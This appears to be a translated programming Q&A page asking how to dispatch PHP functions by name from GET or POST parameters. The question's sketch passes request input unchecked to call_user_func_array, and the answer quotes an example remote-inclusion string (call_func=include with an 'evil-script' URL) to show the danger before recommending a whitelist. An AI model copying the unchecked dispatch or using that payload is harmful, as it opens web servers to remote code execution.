php - 使用来自 GET 或 POST 的参数调用 PHP 函数
问题描述
假设我在文件中有以下功能functions.php
:
function foo($baz, $qux = 2, $quux = 3){
echo 'foo: $baz - $qux - $quux';
}
function bar($baz, $qux = 5, $quux = 6){
echo 'bar: $baz - $qux - $quux';
}
现在我希望能够使用 GET(或 POST)来调用这些函数。例如
- 如果我导航到
/functions.php?call_func=foo&baz=1&qux=4
,这应该打印foo: 1 - 4 - 3
, - 如果我去
/functions.php?call_func=bar&baz=7&quux=3
,它应该打印bar: 7 - 5 - 3
。
使用类似的方法call_user_func_array
,我将能够实现其中的一些功能,但不是全部,因为它无法处理关联数组。所以我会设想类似(通过适当的安全检查):
$function_name = $_GET['call_func'];
unset($_GET['call_func']);
call_user_func_array($function_name, $_GET);
但是,这不处理关联数组,因此第二个示例调用 ( /functions.php?call_func=bar&baz=7&quux=3
) 会将quux
参数传递给qux
而不是quux
.
是否有从 GET 或 POST 请求调用不同函数的正确方法?
解决方案
首先,您的实施在信息安全方面存在风险。这样就可以调用任何函数。想象一下,如果恶意攻击者发送
call_func=include&baz=http://evil-script&quux=null
最安全的解决方案,也可以满足您的问题要求,是使用“白名单”,其中包含可以调用的函数,以及允许它们接受的参数
推荐阅读
- python - cv:assertion 因透视变换而失败
- java - MVVM TextInputLayout 验证
- python - TypeError:dtype=timedelta64[ns] 和 int 之间的比较无效
- python - python - IndexError:索引 9 超出轴 0 的范围,大小为 1
- reactjs - 基于 Material UI 发布组件
- c++ - GCC/Clang:禁用单个函数的尾递归优化
- android - Kotlin:将 URL 转换为位图时的毕加索问题
- python - 为什么 NaN 不会在 python 中引发任何错误?
- 3d - 基于共享顶点的多边形分组
- coq - 如何在 Coq 中推广方程两边的变量?